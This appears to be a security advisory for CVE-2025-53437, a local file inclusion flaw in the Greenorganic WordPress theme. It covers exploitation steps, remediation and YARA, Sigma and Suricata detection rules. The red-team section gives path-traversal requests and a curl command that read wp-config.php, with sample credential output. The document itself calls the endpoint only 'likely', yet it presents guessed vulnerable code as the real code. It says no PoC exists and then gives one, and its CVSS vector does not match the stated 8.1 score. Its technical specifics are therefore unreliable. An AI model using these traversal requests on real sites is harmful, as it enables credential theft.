CVE-2025-53437

Executive Summary

CVE-2025-53437 is a critical security vulnerability affecting the Greenorganic WordPress theme by ApusTheme, up to and including version 2.45. The vulnerability is classified as a PHP Local File Inclusion (LFI) due to improper control of a filename used in a PHP include/require statement. This allows an unauthenticated attacker to read arbitrary files from the server, potentially exposing sensitive configuration files, database credentials, or source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat for WordPress sites using this theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. As a WordPress ecosystem component, it is not managed via NPM, PyPI, Go, or Ruby registries. However, the risk extends to any site using the theme, as it can be installed via the WordPress admin panel or manually uploaded. The lack of a patch from the vendor (Apustheme) means site administrators must rely on manual mitigation or removal of the theme.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability stems from a PHP include or require statement in the Greenorganic theme that accepts user-supplied input (e.g., via a GET or POST parameter) without proper sanitization or validation. Specifically, the theme likely uses a parameter like ?file= or ?template= to dynamically include a PHP file. An attacker can manipulate this parameter to include arbitrary files from the local filesystem using path traversal sequences (e.g., ../../etc/passwd).

Root Cause: The theme fails to restrict the include path to a predefined whitelist or to sanitize directory traversal characters. This allows an attacker to read any file the web server user has access to, such as wp-config.php (containing database credentials), /etc/passwd, or application source code.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint. For example:

GET /wp-content/themes/greenorganic/template.php?file=../../../wp-config.php HTTP/1.1
Host: target-site.com

The server then includes the specified file, outputting its contents in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Greenorganic <= 2.45):

<?php
// template.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
// template.php
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

The patched version uses a whitelist to restrict which files can be included, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Greenorganic theme version <= 2.45.
• The vulnerable endpoint must be accessible (e.g., /wp-content/themes/greenorganic/template.php).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., file, template, page).
2. Send a request with path traversal to read sensitive files:

   curl "http://target-site.com/wp-content/themes/greenorganic/template.php?file=../../../wp-config"
   

3. The response will contain the contents of wp-config.php (note: the .php extension is appended automatically).

Example Output:

<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'secret');
define('DB_HOST', 'localhost');
// ...
?>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or ..\\ in query parameters.
• Look for requests to theme files with suspicious parameters (e.g., file=../../../etc/passwd).

Hardening:

• Remove or disable the vulnerable theme immediately.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file permissions on the server to limit what the web user can read.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/themes/greenorganic/template.php, /wp-content/themes/greenorganic/functions.php
• HTTP Requests: GET /wp-content/themes/greenorganic/template.php?file=../../../etc/passwd
• Log Entries: "GET /wp-content/themes/greenorganic/template.php?file=.." with status 200.
• Network Patterns: Outbound connections from the server to attacker-controlled hosts (if used for data exfiltration).

Detection Engineering

YARA Rule

rule CVE_2025_53437_Greenorganic_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-53437 in Greenorganic theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53437"
    strings:
        $s1 = "greenorganic" nocase
        $s2 = "template.php" nocase
        $s3 = "file=" nocase
        $s4 = "../" nocase
    condition:
        all of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2025-53437 Greenorganic LFI Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts targeting Greenorganic theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: 
            - '/wp-content/themes/greenorganic/'
            - 'file='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in admin area (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53437 Greenorganic LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-content/themes/greenorganic/"; http_uri; content:"file="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Greenorganic theme from all WordPress installations.
2. Switch to an alternative theme from a trusted source.
3. Apply a virtual patch using a WAF to block requests containing file= and ../ in the URI.

Long-Term Fix:

• Await an official patch from Apustheme. If none is provided, consider forking the theme and implementing proper input validation (whitelist approach).
• Regularly audit all WordPress themes and plugins for known vulnerabilities.

Workaround:

• If the theme cannot be removed, modify the vulnerable file to include a whitelist of allowed files (as shown in the patched code example).

Valters IT